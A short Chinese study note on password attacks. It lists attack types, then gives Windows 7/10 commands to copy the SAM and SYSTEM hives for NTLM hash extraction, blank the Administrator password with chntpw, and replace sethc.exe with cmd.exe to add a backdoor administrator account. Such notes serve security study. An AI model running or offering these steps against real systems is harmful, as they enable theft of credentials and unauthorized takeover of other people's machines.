密码攻击方式及场景

2. 23.密码攻击方式：
3. 类型：在线攻击（暴力穷举密码） 效率低 成功率低
4. 离线攻击：运行密码破解程序 找HASH值（需要好字典）
5. 方式：暴力攻击
6. 字典对比（彩虹表法） （HASH对比）
7. 被动攻击：嗅探 欺骗技术
8. 社会工程学:人际关系 生日等（有依据的推测）
11. 23.具体攻击场景：
12. 1.针对win 7 10 ：方法一：samdump2获取NTML HASH值（保存文件）
13. 命令1：cdWindows/System32/config
14. 获取HASH值后用其他软件破解
15. 命令2：cp SAM SYSTEM /home/kali 复制SAM SYSTEM文件
16. 方法二：通过chntpw清空密码
17. 在 Windows/system32/config目录下
18. 执行命令:chntpw -u Administrator SAM 随后根据提示清空密码
20. 方法三：自创管理员账号
22. 在windows/system32/config目录下 输入”cd..”返回上层目录
23. 然后输入 cp cmd.exe sethc.exe
24. 连续按五次shift开启粘滞键（已经被替换为cmd）
25. 在cmd中输入 net user test test/add
26. Net localgroup administrators /add test
27. 从而增加账号test (密码test)

复制代码